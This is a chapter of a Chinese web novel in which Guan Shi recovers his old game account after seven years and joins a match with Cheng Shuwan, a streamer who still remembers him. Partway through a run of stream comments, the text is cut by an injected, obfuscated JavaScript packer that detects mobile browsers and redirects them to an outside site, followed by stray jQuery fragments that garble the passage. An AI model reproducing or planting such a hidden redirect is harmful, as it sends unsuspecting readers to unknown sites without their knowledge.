红枫小区，十三栋501，关时一家。
午饭过后，关星玥一如既往包揽了洗碗的任务，姚婉婷下午要出门，现在正在房间里化妆，关时靠在阳台，手中夹着一支没有点燃的香烟，神色严峻地盯着手机。
好半晌之后，他终于下定决心似的拨通苏新胜的电话，随着等待接听的铃声心不在焉地往外盯着楼下的玉兰树。
“喂？”苏新胜接起来，似乎刚醒，带着起床气，“有屁放。”
关时开门见山，“我那个号的密码你记得吗？”
“什么密码？”苏新胜没转过弯来，“什么号？”
“二更天那个号。”
“……草。”苏新胜缓了几秒终于清醒，“我他喵的怎么知道，你自己都记不得……不是，怎么突然问这个了？”
“想上去看看。”关时说着，转念一想又觉得矫情，还是作罢好了，“没事，不记得拉倒，继续睡吧，拜。”
“诶诶诶你等下！”苏新胜大喊着叫停关时挂断电话的动作，“你有病吧就这事儿吵我睡觉？你给我说清楚了，干什么呢你这是？”
关时拿着手机没说话。
苏新胜听着这阵沉默，明白了什么，“跟晚姐有关是吧？”
“……不是她。”关时下意识否认。
“不是？”
关时嗯了声，“只是想看看。”
“哦。那你忘记密码，找回不就行了。”
“找回密码要手机号，天才。”关时呛了句，“我那张手机卡当年都扔了。”
他清晰地记得，在决定要跟过去的腌臜事割舍的那天，他买个新的号码，把旧手机卡拔了随手就扔了。
“我就说你仪式感大过天，然后总干一堆不过脑子的事情吧。”苏新胜吐槽，“找你妈拿。挂了，别打扰我睡觉。”
“什么？”关时诶了声，苏新胜动作倒是快，话音落下就掐断了通话。
……狗人，起床气起来跟换了个人似的。
但是他刚刚说什么？
找我妈拿？
那张他随手扔掉的手机卡？
什么莫名其妙的……关时把没有点燃的香烟重新放回烟盒，转身走进屋里，敲了敲姚婉婷房间门框，“妈。”
“嗯？”姚婉婷正坐在梳妆台前画眼线，举着笔半睁着眼转过头来。
“我旧手机卡，”关时看着她，“你知道在哪？”
姚婉婷把半睁的眼睛睁开了，直直盯着关时。
“喏。”她最后什么都没说，指了指自己的床头柜，“最下面一层，有个黄色的纸盒，翻一下，在里面。”
关时在床头柜跟前蹲下来，满面惊奇地从纸盒里各种老旧的小玩意儿里翻出了张手机卡，昂起头问：“你哪来的？”
“那就要问新胜那小子了。”姚婉婷画好眼线，对着镜子眨了眨眼，“你扔了对吧，给他捡回来了，说还你你肯定不要，所以给我保管。”
关时捏着那张手机卡，心里突然很不是滋味，半晌打破尴尬般自嘲一声：“他还真是什么都往回捡。”
“怕停机太久号码没了，我每年都往里充三百话费。”姚婉婷道，“看来你还有用，那找个时间给我把话费结清吧。”
关时：“……”
亲母子，明算账啊。
真不愧是木吉网咖的幕后老板。
“你……”他没忍住笑了声，“什么都不问？”
“问什么。”姚婉婷站起来，把头发扎起来，“为什么要扔？现在为什么又要用？我管你干什么，你都二十七了。”
“……得。”关时把手机卡握进掌心，“谢谢妈。”
姚婉婷诡异地看他一眼，“谢什么？咦，怪恶心的。”
“你给我个数，我转账给你。”关时笑着转身走出房间，“谢谢你帮我保管。”
关时回到书房，关星玥不知道从哪个角落蹦跶出来，探过头，“什么手机卡？”
“你那么八卦干什么，不是没写完作业呢么？”关时随口赶她，在电脑前坐下来开机，低头给自己的手机更换手机卡。
关星玥在旁边看他打开了《封神图录》，终于恍然大悟，“你是终于想起要登录你那个账号了？”
关时：“看看能不能登上。”
“那你以后还帮我打排位么？”
“看情况。”
“哇，那我不该撺掇你去玩自己的号。”
关时手上的动作停下来，似笑非笑地看着关星玥。
关星玥不明所以地跟他对视。
“要不我给你发个红包喝奶茶去吧，”关时道，“别在这儿杵着。”
“哦，”关星玥了然地点点头，“你是不是不给我看你号。”
关时没回答，输入旧手机号码等待验证，随手给关星玥发了个红包，“乖，一边玩去。”
关星玥更加确定了关时就是不想给她看自己的账号，不过既然他都爆金币了，她自然给这个面子，于是一边往外走，一边笑嘻嘻地调侃：“是不是要跟暗恋对象双排呀？”
关时：“……赶紧出去吧你。”
“滚了滚了。”关星玥心情愉悦地走出书房。
姚婉婷没有说谎，她每年都给这个号码充话费，关时插卡进去之后，一大堆短信和未接来电统统跳了出来，粗略一看，基本来自于六七年前。
关时没多看，全部清空，等待账号登录发送的验证码。
待到手机收到短信，关时一个一个数字输入到《封神图录》的登录界面，鼠标移动到确认键上。
距离登上“二更天”这个账号只剩下一步之遥。
但他迟迟没有点下去。
小鬼叉烧，就是程舒晚。
他与程舒晚，怎么也算得上朋友了。
不过就是换一个身份去接触她而已，有什么好紧张的呢。
关时脑子里开始回荡程舒晚的话。
那个好友。
是我白月光。
你还喜欢他吗？
喜欢。
可是。
曾经的他。
到底有什么好喜欢的。
如果从前的他更招人喜欢。
那他后来经历过的那些。
又算什么。
关时按下了确认键。
登录成功。
“欢迎回归纷争战场，封神者！”
关星玥突然又从书房门口探个头过来，“哦，对了。”
关时差点把电脑屏幕关上：“干什么？”
“刚刚我回来碰上程姐姐了。”
哦。
就这事。
嗯？等下？
“她去网咖？”关时问。
关星玥点头，“或许是去直播哦。”
关时：“……”
完犊子。
她现在在线。
还没来得及做出任何反应，屏幕上弹出一个窗口。
“好友小鬼叉烧发来5V5排位赛邀请”。
她真的在线。
动作还挺快，看起来生怕他跑了。
关时盯着这个邀请，或许是记忆深处的画面浮上水面，刚刚盘在心口的犹豫和无措逐渐消退下去。
没什么大不了的。
他现在只是，准备去见一个老朋友罢了。
在倒计时进度条即将清零的时刻，关时移动鼠标。
点击了“确认”。
进入排位房间。
当房间中多出一个头像的时候，程舒晚才反应过来，自己刚刚手比脑子快率先发了邀请过去，甚至忘记了自己还在直播。
她看了眼弹幕，观众还没有从前脚“除非他诈尸”后脚就真的诈尸上线的戏码当中回过神来，弹幕一条一条往上蹦。
“禁止使用言出法随啊！”
“主播的嘴开过光？快祝我月考进步啊（大哭）”
“不是，这是剧本吧主播？”
“说剧本的也要有个限度啊，去哪里搞个七年没上线的好友？”
“但这个是不是太扯淡了，要不是直播谁信啊？”
程舒晚没有多余的脑容量回应弹幕的质疑，捧着被轰击得七荤八素的脑花点开了队内聊天。
打下她此刻内心最大的困惑。
-小鬼叉烧：？
嗯。
全方位困惑。
很快，二更天也发了消息。
-二更天：？
程舒晚：“……”
不是！
他扣什么问号！
他是不是搁这儿装！
他不会是把号给卖了吧？
程舒晚觉得不是没有这个可能，于是又打字。
-小鬼叉烧：本人？
-二更天：嗯呢。
-二更天：好久不见，叉烧。
好久不见。
叉烧。
程舒晚的心脏开始不受控制地狂跳起来，鼓膜都跟着一下一下发振，她竭尽全力才按捺住神经，平日稳当精细操作的手指都有了一丝颤抖。
是他。
是二更天。
他真的出现了。
他还记得她。
弹幕：“主播？”
“主播宕机了。”
“别说主播，我也宕机了。”
“还打不打游戏啊？”
程舒晚回过神来，扫到弹幕和目前的在线观众，数据很好，应该抓紧时间做留存。
但是二更天呢？如果现在放掉他，下次还有没有机会再见？
电光火石之间。
程舒晚想到个馊主意。
-小鬼叉烧：你现在有空吗？
-小鬼叉烧：我在直播，随即邀请好友排位。
-小鬼叉烧：刚刚才打开好友列表，有人在问你的渊源你就上线了，弹幕现在都炸了，非要我拉你打两局。
弹幕：“？”
“？？？”
“我们说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364897|183889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的？我怎么不知道？”
“主播你别泼脏水啊，我跟你闹啊！”
“朋友们帮个忙。”程舒晚咳嗽一声，为了流量开始胡说八道，“纵容我追下男神。”
“？？？”
“主播你说这个我可就不困了啊！”
“天哪，刚刚爱上的美女姐姐居然心里有人了！”
“有瓜！主播快说啊啊啊！”
“刚刚是谁说‘没有难以忘怀’来着？”
“这是剧本吧，太明显了。”
“卧槽，就算是剧本也得蹲蹲后续，太土太狗血了，姐喜欢！”
弹幕自己聊得挺欢的，程舒晚没管他们，盯着队内聊天，漫长得仿佛一个世纪过去，二更天才做出了回答。
-二更天：好。
他同意了。
程舒晚长舒一口气。
还好没有问她在哪直播，要是让他看见直播间，知道自己说了“追男神”这样的话。
她能当场离开地球。
-二更天：不过我现在是“星”境界，你在“无上”，没办法一起排位。
-小鬼叉烧：那匹配吧，我换个房间。
程舒晚很快就新建了个匹配房间，两人的境界差距不小，匹配时间久了点，程舒晚的目光不住地往二更天的头像瞟，不管看多少次，都感觉自己好像活在梦里。
七年不上线的游戏搭子诈尸了。
她应该说些什么吧。
可是该说些什么？
她隐约记得，当年他们最后一次打游戏的时候临近端午节，他们约定端午假期晚上要一起打端午活动，二更天还说要送她千机鸟的端午节日皮肤。
而后，端午活动那天，她没有如约上线。
她不知道二更天对她失约的事情怎么想，但是这么多年过去了，看他的态度，大概也没有对此耿耿于怀。
他那么多年没上线，或许只是普普通通的，不玩这个游戏了而已。
相比起这些问题，她现在更想知道。
这些年。
他过得怎么样。
游戏匹配成功，进入选择人物界面。
程舒晚收敛思绪，点开了只有二更天能听见的房间语音，“你玩什么？”
-二更天：补位。
他没有开语音，有点遗憾。
程舒晚：“想看我玩什么？”
-二更天：？
“没事，我问直播间弹幕。”程舒晚解释。
-二更天：你不玩千机鸟吗？
程舒晚握着鼠标的手一紧。
他甚至记得她的拿手人物是千机鸟。
“你们想看我玩千机鸟吗？”程舒晚装模作样地问弹幕，却看都没看他们说了什么，“好，行，那我玩千机鸟了。”
弹幕：“主播你自问自答得太快了。”
“啊对对对，想看，你说的都对。”
“第一次看见这种不顾观众死活的主播，我真是……太爱了，反手一个关注。”
“楼上的，抖M吧？”
程舒晚抢到突进位，选择了千机鸟。
轮到二更天了。
他的选择是……
九尾狐。
果然是九尾狐。
程舒晚捻了捻手指，“二更天。”
-二更天：在。
程舒晚想问你这么多年是不是都没打这个游戏，还会不会玩，需不需要时间给你熟悉人物。
可当年二更天那样怼天怼地的性格，这样的表述或许会被解读成对他的挑衅。
但是又转念一想，她现在在直播间的人设是人狠话不多的技术流女主播，没必要顾虑那么多。
大不了，她还是跟平时一样，努力点带飞全局。
“没事，”程舒晚随口道，“你别拖我后腿就行。”
直播间安静了一瞬。
程舒晚才后知后觉自己说了什么。
她想扇自己一巴掌。
这不是纯挑衅吗！
要是二更天退游戏了怎么办！那可再难找着他人了！
在程舒晚表面稳如老狗内心纠结得一匹的时候，二更天发了消息。
-二更天：哦。
-二更天：反弹。
程舒晚：“……”
她好像突然明白了那句“男人至死是少年”是什么意思。
二更天这货跟七年前一样幼稚。
幼稚的垃圾话说完之后，二更天又一连蹦上来几条消息。
-二更天：还是老样子。
-二更天：我控人，你收割，把轴合好。
-二更天：都当主播了，被我赶超的话，丢脸的是你哦。
程舒晚突然恍惚了。
仿佛。
一切都没有改变。
七年前那个少年，就坐在屏幕的那头，语气欠揍懒散，嬉皮笑脸地回应她的垃圾话。
“……呵。”她嗤笑一声，“滚。”